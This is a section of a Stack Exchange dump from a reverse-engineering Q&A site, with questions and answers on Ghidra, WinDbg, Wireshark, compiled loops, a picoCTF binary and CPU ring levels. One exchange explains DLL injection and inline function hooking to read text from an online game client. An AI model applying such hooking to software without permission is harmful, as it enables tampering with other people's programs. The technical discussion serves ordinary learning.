  <row Id="24677" PostTypeId="2" ParentId="24668" CreationDate="2020-04-10T15:44:39.040" Score="1" Body="&lt;p&gt;@hEShaN check &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/model/listing/Function.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; &quot;unofficial&quot; ghidra api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a method called - &lt;code&gt;getProgram()&lt;/code&gt;. So, &lt;code&gt;function.getProgram()&lt;/code&gt; gives the name of a &quot;program&quot; (underline file?) containing this function.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2020-04-10T15:51:59.623" LastActivityDate="2020-04-10T15:51:59.623" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24678" PostTypeId="2" ParentId="1970" CreationDate="2020-04-10T15:58:00.527" Score="6" Body="&lt;p&gt;Arbitrary packets are typically not associated with a process. For established TCP sockets, this information could potentially be looked up on-the-fly, but there is no way to express a capture filter to limit filtering to a single process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the options are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you know that an application contacts certain IP addresses or ports, you could specify a capture filter such as &lt;code&gt;udp port 53&lt;/code&gt; or &lt;code&gt;host example.com&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Run a program in a virtual machine (VM) and capture traffic from within the VM, or from the bridge attached to the outside of the VM.&lt;/li&gt;&#xA;&lt;li&gt;On Linux, create an isolated network namespace and use a virtual Ethernet (veth) pair to connect the new network namespace with the main network namespace. Capture from either end of the veth interface and start your process within the network namespace.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the latter approach, I wrote some scripts to automate it, it can be found at &lt;a href=&quot;https://github.com/Lekensteyn/netns&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/Lekensteyn/netns&lt;/a&gt;. It was precisely designed for this purpose, create a network capture from a single process (and its children) without leaking other traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Various other approaches such as using eBPF and custom dissectors to add process information, as well as potential approaches for Windows and macOS can be found in these issues on the Wireshark issue tracker:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=16194&quot; rel=&quot;noreferrer&quot;&gt;Bug 16194 - Allow us to filter traffic by sending or receiving process&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1184&quot; rel=&quot;noreferrer&quot;&gt;Bug 1184 - *Shark should support associating TCP and UDP packets with processes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16156" LastActivityDate="2020-04-10T15:58:00.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24680" PostTypeId="2" ParentId="24656" CreationDate="2020-04-10T16:29:40.650" Score="3" Body="&lt;p&gt;As commented, incrementing a maximum value indeed wraps back to 0. &#xA;However, I’d like to explain a little about why the code looks like this. &#xA;The original source probably looked similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int pos = 0;&#xA;while (buf[pos]==0) pos++;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, a naive/literal translation to assembly would have the check and conditional jump out of the loop at the start and an unconditional jump backwards at the end. However, by converting it into a do-while loop you can get rid of the unconditional jump and have only the conditional one at the end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int pos = -1;&#xA;do&#xA;{&#xA;  pos++;&#xA;} while (buf[pos]==0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While a minor optimization, it can improve branch prediction and over a bug binary result in substantial performance improvements. &#xA;This is most likely why you see the initial value of -1 which is represented as 0FFFFFFFFh. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-10T16:29:40.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24682" PostTypeId="1" CreationDate="2020-04-11T00:55:12.203" Score="0" ViewCount="114" Body="&lt;p&gt;I want to make a small tool that analyzes text from console in online game and I'm stuck at reading a string from a function and sending it to another program. I managed to find function that takes string as argument and calls function responsible for showing it in game and it looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void Game::processTextMessage(Otc::MessageMode mode, const std::string&amp;amp; text)&#xA;{&#xA;    g_lua.callGlobalField(&quot;g_game&quot;, &quot;onTextMessage&quot;, mode, text);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, using Cheat Engine and x96dgb i found address of this function:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8XCSc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8XCSc.png&quot; alt=&quot;asm code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;String I need to capture is &quot;Czerw pozostawia po sobie: 3 robaki&quot;. &#xA;I tried .dll injection but I don't know how to hook to that function.&#xA;Also I found something similar to what I want to do: &lt;a href=&quot;https://github.com/ur0/DotATranslator/blob/master/Injectee/dllmain.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ur0/DotATranslator/blob/master/Injectee/dllmain.cpp&lt;/a&gt;&#xA;but I don't know what to change to make it work. What steps should I take?&lt;/p&gt;&#xA;" OwnerUserId="32744" LastActivityDate="2020-04-11T06:51:50.683" Title="Get string from function and pass it to another program" Tags="|strings|dll-injection|game-hacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24683" PostTypeId="2" ParentId="24682" CreationDate="2020-04-11T06:51:50.683" Score="1" Body="&lt;p&gt;Assuming you're trying to intercept function calls and manipulate / get the input to that function, you are going to need to hook it first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend reading about function hooking (there's a plenty of information out there regarding this subject).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its basic idea is rather simple, given the start address of function to be hooked &lt;code&gt;func01&lt;/code&gt; you override the first five bytes (of course you have to save them) with a &lt;code&gt;JMP&lt;/code&gt; instruction that will lead to your own fake &lt;code&gt;func01&lt;/code&gt; function that in it you'd do as you pleased with the argument, and when you're done, you call to the the original function (and here's the catch, you want to call a stub that will execute the first five bytes you were overriding and then jumps back to the original function's address plus five &lt;code&gt;&amp;lt;func01_addr + 5&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's allowed (sorry if its not), there's a nice and easy-to-use hooking library called Mhook (but I'd first suggest getting some sense about the idea).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;good luck&lt;/p&gt;&#xA;" OwnerUserId="21935" LastActivityDate="2020-04-11T06:51:50.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24685" PostTypeId="1" AcceptedAnswerId="24686" CreationDate="2020-04-11T10:23:48.977" Score="0" ViewCount="1344" Body="&lt;p&gt;Is there a way in Ghidra Python to get the corresponding decompile line by &lt;code&gt;RVA&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or the opposite - get the corresponding &lt;code&gt;RVA&lt;/code&gt; from a given line in a decompile?&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-04-11T13:42:09.027" Title="Ghidra Python - Get Decompile Line Text by RVA" Tags="|decompilation|python|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24686" PostTypeId="2" ParentId="24685" CreationDate="2020-04-11T13:42:09.027" Score="1" Body="&lt;p&gt;I don't know how any examples how you could get the line like Ghidra would render it, but as a start you can look at &lt;a href=&quot;https://github.com/schlafwandler/ghidra_ExportToX64dbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/schlafwandler/ghidra_ExportToX64dbg&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is to walk the C-AST and extract the ClangStatements that have a corresponding RVA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has limitations, namely:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At the moment the source code export is limited to elements that appear as &lt;code&gt;ClangStatement&lt;/code&gt; in the &lt;code&gt;ClangTokenGroup&lt;/code&gt; returned by &lt;code&gt;getCCodeMarkup()&lt;/code&gt;. This works fine for most variable assignments and function calls, but excludes most control flow altering constructs (like &lt;code&gt;if&lt;/code&gt;, &lt;code&gt;for&lt;/code&gt; or &lt;code&gt;while&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you really need the line and not the ClangStatement, my first idea is to search for the Ghidra code that renders the AST, find the part where a line is rendered and extend it to retain a mapping from a line to a list of ClangStatements used in that line. Then you can iterate over the lines and filter for those that use a statement that has the RVA you are interested in.&lt;/p&gt;&#xA;" OwnerUserId="31435" LastActivityDate="2020-04-11T13:42:09.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24687" PostTypeId="1" CreationDate="2020-04-11T17:48:08.960" Score="0" ViewCount="1389" Body="&lt;p&gt;I'm new to the field, so it's probably a stupid question, but when I tried to decompile &lt;a href=&quot;https://2019shell1.picoctf.com/static/ae3e9fb0aa6dd438251939839a7a6f21/mystery&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; binary from picoCTF 2019 I got an array of size 4 (local_38) when looking at a &lt;a href=&quot;https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/Investigative_Reversing_0.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;solution&lt;/a&gt; it should be of size 26.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening? And what should I do to solve this if possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result of the decompling.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main(void)&#xA;&#xA;{&#xA;  FILE *__stream;&#xA;  FILE *__stream_00;&#xA;  size_t sVar1;&#xA;  long in_FS_OFFSET;&#xA;  int local_54;&#xA;  int local_50;&#xA;  char local_38 [4];&#xA;  char local_34;&#xA;  char local_33;&#xA;  char local_29;&#xA;  long local_10;&#xA;&#xA;  local_10 = *(long *)(in_FS_OFFSET + 0x28);&#xA;  __stream = fopen(&quot;flag.txt&quot;,&quot;r&quot;);&#xA;  __stream_00 = fopen(&quot;mystery.png&quot;,&quot;a&quot;);&#xA;  if (__stream == (FILE *)0x0) {&#xA;    puts(&quot;No flag found, please make sure this is run on the server&quot;);&#xA;  }&#xA;  if (__stream_00 == (FILE *)0x0) {&#xA;    puts(&quot;mystery.png is missing, please run this on the server&quot;);&#xA;  }&#xA;  sVar1 = fread(local_38,0x1a,1,__stream);&#xA;  if ((int)sVar1 &amp;lt; 1) {&#xA;                    /* WARNING: Subroutine does not return */&#xA;    exit(0);&#xA;  }&#xA;  puts(&quot;at insert&quot;);&#xA;  fputc((int)local_38[0],__stream_00);&#xA;  fputc((int)local_38[1],__stream_00);&#xA;  fputc((int)local_38[2],__stream_00);&#xA;  fputc((int)local_38[3],__stream_00);&#xA;  fputc((int)local_34,__stream_00);&#xA;  fputc((int)local_33,__stream_00);&#xA;  local_54 = 6;&#xA;  while (local_54 &amp;lt; 0xf) {&#xA;    fputc((int)(char)(local_38[local_54] + '\x05'),__stream_00);&#xA;    local_54 = local_54 + 1;&#xA;  }&#xA;  fputc((int)(char)(local_29 + -3),__stream_00);&#xA;  local_50 = 0x10;&#xA;  while (local_50 &amp;lt; 0x1a) {&#xA;    fputc((int)local_38[local_50],__stream_00);&#xA;    local_50 = local_50 + 1;&#xA;  }&#xA;  fclose(__stream_00);&#xA;  fclose(__stream);&#xA;  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {&#xA;                    /* WARNING: Subroutine does not return */&#xA;    __stack_chk_fail();&#xA;  }&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31546" LastActivityDate="2020-04-11T17:48:08.960" Title="Ghidra wrong array size" Tags="|decompilation|ghidra|decompile|decompiler|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24688" PostTypeId="1" CreationDate="2020-04-12T03:47:19.713" Score="-1" ViewCount="113" Body="&lt;p&gt;I am new to reverse c++ program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I met this code from r2 decompilation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            pcVar6 = (char *)sym.imp.std::string::operator___unsigned_long&#xA;                                       (&amp;amp;username, (int64_t)(int32_t)(uint32_t)var_32ch,&#xA;                                        (int64_t)(int32_t)(uint32_t)var_32ch);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does the code mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="31023" LastActivityDate="2020-04-12T07:52:13.293" Title="What does std::string::oprator__unsigned_long do?" Tags="|radare2|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24689" PostTypeId="1" CreationDate="2020-04-12T06:16:44.400" Score="1" ViewCount="446" Body="&lt;p&gt;I have read it is possible to check ring level with bit 3 of CS register.&lt;/p&gt;&#xA;&lt;p&gt;Is there another register which really contains ring value (2 bits)&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="245" LastEditDate="2021-05-08T21:21:31.980" LastActivityDate="2021-05-08T21:21:31.980" Title="How can i check if i am running in ring 0 / ring 3 on x64 CPU" Tags="|kernel-mode|x86-64|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24690" PostTypeId="2" ParentId="24688" CreationDate="2020-04-12T07:52:13.293" Score="1" Body="&lt;p&gt;This is an &quot;operator overload&quot; member function, specifically a conversion operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function is called when you treat the value of the object instance (in this case, a &lt;code&gt;string&lt;/code&gt;, as a different type (in this case, an &lt;code&gt;unsigned long&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if there is a function that expects an &lt;em&gt;unsigned long&lt;/em&gt; as an argument, but you pass a &lt;em&gt;string&lt;/em&gt; object instead, this operator member will be called to convert the &lt;em&gt;string&lt;/em&gt; to match the type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many types of conversions, such as &lt;em&gt;casting&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string a = ...;&#xA;unsigned long b;&#xA;&#xA;b = a; //or:&#xA;b = (unsigned long)a;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find more information here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.cppreference.com/w/cpp/language/cast_operator&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.cppreference.com/w/cpp/language/cast_operator&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-04-12T07:52:13.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24691" PostTypeId="1" CreationDate="2020-04-12T10:23:43.043" Score="2" ViewCount="1896" Body="&lt;p&gt;I have several questions about IDA and Ghidra (for MIPS and ARM):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any option to load an executable file with all its libraries? &#xA;For example, I want to enter inside a function which its implementation is in a library, and not to open a new instance of IDA or add the library in a new tab inside Ghidra&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any good tutorial on reversing c++ for MIPS/ARM? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any plugin you recommend for Ghidra or IDA for MIPS/ARM ? all that I see is for x86  (not plugin for analyzing malware, plugins for analyzing firmware) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30408" LastEditorUserId="31278" LastEditDate="2020-04-17T22:44:47.160" LastActivityDate="2020-04-17T22:44:47.160" Title="IDA and Ghidra Reversing" Tags="|ida|c++|ghidra|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24692" PostTypeId="2" ParentId="24691" CreationDate="2020-04-12T14:52:55.487" Score="6" Body="&lt;p&gt;I can only properly answer your first question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is fundamentally impossible to achieve with IDA, but in Ghidra it works and is fairly easy to use (though a bit hard to find)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your &quot;firmware&quot; is a filesystem that you can unpack, you can automatically load the libraries by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Opening the regular &lt;code&gt;Import File...&lt;/code&gt; dialog&lt;/li&gt;&#xA;&lt;li&gt;Clicking &lt;code&gt;Options&lt;/code&gt; inside that dialog&lt;/li&gt;&#xA;&lt;li&gt;Tick &lt;code&gt;Load External Libraries&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;[Optional] Click &lt;code&gt;Edit Paths&lt;/code&gt; to select the paths that will be searched for your libraries&lt;/li&gt;&#xA;&lt;li&gt;Confirm all the dialogs with &lt;code&gt;Ok&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ghidra will now import your binary and all libraries needed by it. They will automatically be linked, which means that your imports in your main binary are resolved and you can jump to the library code via the GUI when looking at an external function call in your main binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure if this violates your &quot;not to open a new instance of IDA or add the library in a new tab inside Ghidra&quot; requirement, because this will open a new tab, in your Codebrowser's &lt;code&gt;Listing&lt;/code&gt; window.&lt;/p&gt;&#xA;" OwnerUserId="31435" LastActivityDate="2020-04-12T14:52:55.487" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="24693" PostTypeId="1" CreationDate="2020-04-12T16:45:17.937" Score="1" ViewCount="136" Body="&lt;p&gt;I want to understand how multi process scheduler works on x86 CPU with Linux or Windows kernels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read there is a kind of &quot;timer&quot; inside CPU. This timer gives &quot;time slices&quot; to each process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i want to understand is what really happens when a time slice is finished. Does an interrupt fire ? or something else ? I suppose kernel code is runned between 2 slices but how...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18590" LastActivityDate="2020-04-12T16:45:17.937" Title="Windows or Linux x86 Scheduler instructions" Tags="|kernel-mode|kernel|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24694" PostTypeId="1" AcceptedAnswerId="24714" CreationDate="2020-04-12T21:36:51.367" Score="0" ViewCount="687" Body="&lt;p&gt;According to the &lt;a href=&quot;http://www.sco.com/developers/devspecs/abi386-4.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;System V ABI for x86&lt;/a&gt;, &lt;code&gt;esp&lt;/code&gt; should be pointing at &lt;code&gt;argc&lt;/code&gt; when entering &lt;code&gt;main&lt;/code&gt;. However, I've seen many binaries where &lt;code&gt;argc&lt;/code&gt; instead is retrieved from &lt;code&gt;esp + 4&lt;/code&gt;, or &lt;code&gt;esp + 8&lt;/code&gt;. Is this correct, or am I missing something? Also, why do these offset differ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X2FWQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2FWQ.png&quot; alt=&quot;Figure 3-31&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14180" LastEditorUserId="18317" LastEditDate="2020-04-13T01:11:23.707" LastActivityDate="2020-04-15T18:07:42.087" Title="x86 ELF - argc location on stack?" Tags="|assembly|x86|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24696" PostTypeId="1" CreationDate="2020-04-13T10:45:24.017" Score="2" ViewCount="598" Body="&lt;p&gt;I'm trying to leverage &quot;gu&quot; command in a conditional breakpoint or as a &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/bp--bu--bm--set-breakpoint-&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;CommandString&quot;&lt;/a&gt; in a regular breakpoint. For example let's consider break on a malloc() function when we want to see in logs what pointer was allocated and what was the size of an allocation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp msvcrt!malloc &quot;r $t1=@rcx; gu; .printf \&quot;malloc: %p %08x\\n\&quot;,@rax,@$t1; gc&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tldr: So, we've created a temporary register $t1, assigned it to the&#xA;  size of allocation (the arch is x64,  thus @rcx = &quot;size&quot;), steeped out&#xA;  of the function using &quot;gu&quot; command, and finally printed pointer at&#xA;  @rax plus our temp register value. You can try it yourself with a &quot;notepad.exe&quot; ;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's kind of working, we can see the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d42c0 00000100&#xA;Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d4700 00000088&#xA;Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d47c0 00000088&#xA;Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d4880 00000038&#xA;Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d4f10 000000f0&#xA;Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d5030 00001124&#xA;Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d6190 00002430&#xA;Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d85f0 00000200&#xA;Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d8820 00000080&#xA;Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d88d0 00000080&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the only small exception which is noisy string&#xA;&quot;Some commands were skipped because previous commands caused target execution inside an event handler.&quot;. It seems it's always in a logs when we're using &quot;gu&quot; as a &quot;CommandString&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to get rid of it or what is the intended way of solving such a problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards!&lt;/p&gt;&#xA;" OwnerUserId="25069" LastActivityDate="2020-04-13T14:36:37.817" Title="Windbg: &quot;gu&quot; command inside of a breakpoint causes warning" Tags="|windbg|breakpoint|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24697" PostTypeId="2" ParentId="24696" CreationDate="2020-04-13T14:36:37.817" Score="2" Body="&lt;p&gt;take a look at &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-session-and-execution-model&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you cannot use a command that alters the execution status inside a wait&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what your intent is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but windbg provides several PseudoRegisters to access state and act upon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one is &lt;strong&gt;@$ra&lt;/strong&gt;  which is the Return Address on the stack this is wher your gu will actually endup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;others are &lt;strong&gt;@$retreg and @$retreg64&lt;/strong&gt;&lt;br&gt;&#xA;these are actually the returns from a function (or in layman's term &lt;strong&gt;eax and rax&lt;/strong&gt; after a call is executed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so basically some xyz is calling  malloc like malloc(size) &#xA;you have set up a break on msvcrt!malloc &#xA;@ra will contain the xyz + (size of call) that is the address of Return from the call &#xA;and if you had issued gu &#xA;you will land here and when you have landed here rax/eax as well as @$retreg/@$retreg64 will contain the Address of Allocated memory from the malloc call &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also set a one shot breakpoint &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can combine all this to make a concise breakpoint  that will print both the size as well as returned pointer &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:002&amp;gt; bl&#xA;     1 e Disable Clear  00007ff8`c8199d30     0001 (0001)  0:**** msvcrt!malloc &quot;bp /1 @$ra \&quot;? @$t1;?@$retreg64;gc\&quot;;r $t1=@rcx;gc&quot;&#xA;windbg&amp;gt; .hh&#xA;0:002&amp;gt; g&#xA;Evaluate expression: 40 = 00000000`00000028&#xA;Evaluate expression: 2051178946016 = 000001dd`93cadde0&#xA;Evaluate expression: 256 = 00000000`00000100&#xA;Evaluate expression: 2051178943712 = 000001dd`93cad4e0&#xA;Evaluate expression: 40 = 00000000`00000028&#xA;Evaluate expression: 2051178944016 = 000001dd`93cad610&#xA;Evaluate expression: 24 = 00000000`00000018&#xA;Evaluate expression: 2051178947056 = 000001dd`93cae1f0&#xA;Evaluate expression: 32 = 00000000`00000020&#xA;Evaluate expression: 2051178947328 = 000001dd`93cae300&#xA;Evaluate expression: 32 = 00000000`00000020&#xA;Evaluate expression: 2051178949536 = 000001dd`93caeba0&#xA;Evaluate expression: 72 = 00000000`00000048&#xA;Evaluate expression: 2051178946272 = 000001dd`93cadee0&#xA;Evaluate expression: 32 = 00000000`00000020&#xA;Evaluate expression: 2051178947056 = 000001dd`93cae1f0&#xA;Evaluate expression: 32 = 00000000`00000020&#xA;Evaluate expression: 2051178944016 = 000001dd`93cad610&#xA;Evaluate expression: 672 = 00000000`000002a0&#xA;Evaluate expression: 2051178949824 = 000001dd`93caecc0&#xA;Evaluate expression: 104 = 00000000`00000068&#xA;Evaluate expression: 2051178946272 = 000001dd`93cadee0&#xA;Evaluate expression: 32 = 00000000`00000020&#xA;Evaluate expression: 2051178946432 = 000001dd`93cadf80 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;notice the escaped command string in the bp   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;bp msvcrt!malloc &quot;bp /1 @$ra \&quot;? @$t1;?@$retreg64;gc\&quot;;r $t1=@rcx;gc&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you need to use .printf you may need another level of quote escaping &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-04-13T14:36:37.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24698" PostTypeId="2" ParentId="24689" CreationDate="2020-04-13T15:00:44.140" Score="1" Body="&lt;p&gt;are you looking for this ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:002&amp;gt; dx (( ntdll!_KTHREAD *) @$thread)-&amp;gt;PreviousMode&#xA;(( ntdll!_KTHREAD *) @$thread)-&amp;gt;PreviousMode : 0 [Type: char]&#xA;0:002&amp;gt; ?? (( ntdll!_KTHREAD *) @$thread)-&amp;gt;PreviousMode&#xA;char 0n0 ''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or in kmode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; dq gs:[188] l1&#xA;002b:00000000`00000188  ffff8889`d75ce080&#xA;0: kd&amp;gt; ? @$thread&#xA;Evaluate expression: -131349371625344 = ffff8889`d75ce080&#xA;0: kd&amp;gt; dx @$thread-&amp;gt;Tcb.PreviousMode&#xA;@$thread-&amp;gt;Tcb.PreviousMode : 1 [Type: char]&#xA;0: kd&amp;gt; uf nt!ExGetPreviousMode&#xA;nt!ExGetPreviousMode:&#xA;fffff804`41c45f00 65488b042588010000 mov   rax,qword ptr gs:[188h]&#xA;fffff804`41c45f09 0fb68032020000  movzx   eax,byte ptr [rax+232h]&#xA;fffff804`41c45f10 c3              ret&#xA;0: kd&amp;gt; ?? #FIELD_OFFSET(nt!_KTHREAD , PreviousMode)&#xA;long 0n562&#xA;0: kd&amp;gt; ? 0n562&#xA;Evaluate expression: 562 = 00000000`00000232&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-04-13T15:00:44.140" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
